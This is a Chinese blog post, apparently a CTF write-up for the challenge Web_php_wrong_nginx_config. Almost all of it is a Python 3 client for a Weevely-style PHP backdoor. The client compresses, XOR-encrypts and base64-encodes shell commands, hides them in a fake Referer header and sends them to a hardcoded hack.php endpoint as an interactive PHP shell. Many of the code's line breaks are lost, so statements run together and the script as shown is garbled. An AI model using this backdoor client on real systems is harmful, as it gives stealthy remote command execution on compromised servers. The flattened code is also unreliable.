当前位置: 首页 > news >正文

攻防世界web:Web_php_wrong_nginx_config,python3后门

 网上的wp中关于Web_php_wrong_nginx_config的后门代码都是python2的(源码来自:Weevely:一个 PHP 混淆后门的代码分析 - Phuker's Blog)

以下是转换成python3的版本

# encoding: utf-8from random import randint, choice
from hashlib import md5
import urllib.parse
import string
import zlib
import base64
import requests
import redef choicePart(seq, amount):length = len(seq)if length == 0 or length < amount:print('Error Input')return Noneresult = []indexes = []count = 0while count < amount:i = randint(0, length - 1)if i not in indexes:indexes.append(i)result.append(seq[i])count += 1if count == amount:return resultdef randBytesFlow(amount):result = b''for i in range(amount):result += bytes([randint(0, 255)])return resultdef randAlpha(amount):result = ''for i in range(amount):result += choice(string.ascii_letters)return resultdef loopXor(text, key):result = b''lenKey = len(key)lenTxt = len(text)iTxt = 0while iTxt < lenTxt:iKey = 0while iTxt < lenTxt and iKey < lenKey:result += bytes([key[iKey] ^ text[iTxt]])iTxt += 1iKey += 1return resultdef debugPrint(msg):if debugging:print(msg)# config
debugging = False
keyh = "42f7"  # $kh
keyf = "e9ac"  # $kf
xorKey = keyh + keyf
url = 'http://61.147.171.105:51610/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
proxies = None  # {'http':'http://127.0.0.1:8080'} # proxy for debugsess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(range(1, 10), 3), reverse=True)
acceptLang = [defaultLang]
for i in range(3):acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
md5head = (md5((init2Char + keyh).encode('utf-8')).hexdigest())[0:3]
md5tail = (md5((init2Char + keyf).encode('utf-8')).hexdigest())[0:3] + randAlpha(randint(3, 8))
debugPrint('$i is %s' % (init2Char,))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# Interactive php shell
cmd = input('phpshell > ')
while cmd != '':# build junk data in refererquery = []for i in range(max(indexes) + 1 + randint(0, 2)):key = randAlpha(randint(3, 6))value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12))).decode('utf-8')query.append((key, value))debugPrint('Before insert payload:')debugPrint(query)debugPrint(urllib.parse.urlencode(query))# encode payloadpayload = zlib.compress(cmd.encode('utf-8'))payload = loopXor(payload, xorKey.encode('utf-8'))payload = base64.urlsafe_b64encode(payload).decode('utf-8')payload = md5head + payload# cut payload, replace into referercutIndex = randint(2, len(payload) - 3)payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)iPiece = 0for i in indexes:query[i] = (query[i][0], payloadPieces[iPiece])iPiece += 1referer = url + '?' + urllib.parse.urlencode(query)debugPrint('After insert payload, referer is:')debugPrint(query)debugPrint(referer)# send requestr = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)html = r.textdebugPrint(html)# process responsepattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))output = pattern.findall(html)if len(output) == 0:print('Error,  no backdoor response')cmd = input('phpshell > ')continueoutput = output[0]debugPrint(output)output = base64.b64decode(output.encode('utf-8'))output = loopXor(output, xorKey.encode('utf-8'))output = zlib.decompress(output).decode('utf-8')print(output)cmd = input('phpshell > ')

http://www.lryc.cn/news/94899.html

相关文章:

  • 【VUE】解决图片视频加载缓慢/首屏加载白屏的问题
  • spring复习:(35)在getBean时,在哪里根据普通bean和工厂bean进行区分处理来返回的?
  • Jenkins全栈体系(二)
  • c++11 标准模板(STL)(std::basic_istream)(九)
  • OpenSource - Spring Startup Ananlyzer
  • ES6迭代器、Set、Map集合和async异步函数
  • mac android studio设置跟mac系统一样的快捷键
  • Java-通过IP获取真实地址
  • Java代码实现word转PDF
  • Java设计模式-简单工厂(Simple Factory)模式
  • 微软所有业务线梳理
  • SDN系统方法 | 1. 概述
  • 【数据分享】1929-2022年全球站点的逐日平均压力数据(Shp\Excel\12000个站点)
  • Profibus DP主站转Modbus TCP网关profibus从站地址范围
  • MySQL子查询
  • 学IT上培训班有用吗?
  • BI如何对接金蝶云星空数据源?奥威BI SaaS平台有绝招
  • 鼎镁科技冲刺A股上市失败,董事长涂季冰三年薪水超过6000万元
  • PostgreSQL【应用 02】扩展SQL之C语言函数(编写、编译、载入)实例分享
  • day37-框架
  • 基于STM32单片机的智能家居烟雾温度火灾防盗报警的设计与实现
  • jenkins 采用ssh方式连接gitlab连接不上
  • 前缀和模板算法
  • SpringBoot 启动输出 Git 版本信息(2023/07/11)
  • SSH客户端连接远程服务器
  • “深入理解Redis:高性能缓存与数据存储的秘密“
  • 【论文阅读笔记】Attack-Resistant Federated Learning with Residual-based Reweighting
  • DevOps B站学习版(二)
  • MySQL(一)基本架构、SQL语句操作、试图
  • MySQL事务基础知识